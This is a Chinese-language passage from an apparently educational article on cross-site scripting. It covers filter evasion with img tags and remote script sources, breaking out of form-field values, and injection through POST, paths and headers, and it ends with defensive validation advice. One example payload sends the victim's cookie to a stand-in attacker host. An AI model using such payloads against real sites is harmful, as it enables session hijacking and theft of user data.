除了 <SCRIPT>
,使用其他 HTML 标签来运行 JavaScript
也是可能的。事实上,同样可能的是,恶意的 JavaScript
代码存储在另一个服务器上,并强迫客户端下载该脚本并执行它,如果要运行许多代码,或者代码中包含特殊字符时,这是很有用。
关于这些可能性的一些情形:
- 除了
<script>...</script>
,黑客可以使用<img src="javascript:...">
。这对于过滤<script>
HTML 标签的站点来说很好用。
- 除了
<script>...</script>
,还可以使用<script src="http://...">
。这对于 JavaScript 代码过长,或者其中包含了禁止字符时的情况是很好用的。
有时候,响应页面中内嵌的数据处于非自由的 HTML 环境中。在这种情况下,首先必要的是“逃”到自由的环境中,然后附加 XSS 攻击。举例来说,如果以 HTML 表单字段的默认值注入数据:
... |
那么在数据的开头必需包含 ">
,从而逃到自由的 HTML 环境中。数据可能是:
"><script>window.open("http://www.attacker.site/collect.cgi?cookie= |
结果得到的 HTML 是:
... |
到此为止,我们已经看到 XSS 攻击可以出现在用脚本回送响应的 GET
请求的参数中。但是也可以用
POST
请求实现攻击,或者利用 HTTP 请求的路径组件 —— 甚至使用一些 HTTP 头(例如 Referer)。
特别是,当错误页面返回错误的路径时,路径组件就有用了。在这种情况下,包含在该路径中的恶意脚本经常都会执行。已发现许多 Web 服务器都容易受到这种攻击。
很重要的是要知道,虽然 Web 站点不直接受到这种攻击的影响(站点继续正常工作,恶意代码不在站点上执行,不会出现 DoS 情况,并且数据不直接受控,或从站点上读取),但是它仍旧是站点向其访问者或客户端提供的隐私保护机制中的缺陷。这就像站点使用薄弱的安全标志(security token)部署应用程序,借此,黑客可以猜出客户的安全标志并冒充客户。
应用程序中的脆弱点是不管参数值是什么都回送参数的脚本。好的脚本确保参数的格式是适当的,包含合理的字符,等等。有效的参数通常没有合理的理由包含 HTML 标签或 JavaScript 代码,可靠起见,应该在这些内容嵌入响应之前,或者在应用程序中处理这些内容之前,将它们从参数中去掉。
文章来源于领测软件测试网 https://www.ltesting.net/